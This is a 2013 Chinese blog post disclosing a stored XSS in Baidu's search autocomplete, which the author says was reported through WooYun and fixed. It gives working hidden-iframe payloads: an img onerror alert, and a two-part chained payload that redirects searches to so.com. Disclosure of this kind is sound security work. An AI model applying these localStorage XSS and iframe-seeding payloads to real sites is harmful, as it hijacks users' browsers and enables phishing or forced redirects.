Posted in 网络安全 1条留言

注:此漏洞已经在乌云上提交和公开,并且百度已经确认修复

chrome和ff下有效,IE没测,需要百度用户在登陆状态下

百度首页搜索汉字超过两个后,会把搜索内容及拼音写入浏览器的localstorage,当你再次搜索类似的词时,会在下拉框自动填充,但在当你输入的是字母时,自动响应出的汉字对应内容没有进行html转义

baidu
我们可以很简单的iframe一个构造好的搜索结果页来让用户浏览,如

<iframe src='http://www.baidu.com/s?wd=%E5%BE%AE%E5%8D%9A%3Cimg+src%3D1+onerror%3Dalert%281%29%3E' width='0' height='0'></iframe>
<img src=美女高潮图>

以后当用户再搜索或误输入”weib” “weibo”等字符时,就会执行我们的代码

这个漏洞比较难利用,可以写入localstorage的搜索内容有长度要求,可利用部分很短,自动填充用的是innerhtml,<script>无效。但由于每次可以显示两条,所以通过两次拼接,还是可以实现弹窗钓鱼或者转向广告业恶意页等,还是有一定危害。比如如下代码

<iframe src='http://www.baidu.com/s?wd=搜索<img+src+onerror%3Dlocation.href%3Da>' width='0' height='0'></iframe>
<iframe src='http://www.baidu.com/s?wd=搜索<img+src+onerror%3Da%3D%27%2F%2Fso.com%27>' width='0' height='0'></iframe>
<img src=美女完事累坏了图>

访问这样的页面后,以后在百度搜索框里只要敲”sous””sousu””sousuo”等都会跳到360搜索,如果中标方是个有文采的互联网达人,此人会立马在微博上惊呼“天呐,360搜索加入了百度的阿拉丁计划”

五月 6, 2013 13:05:38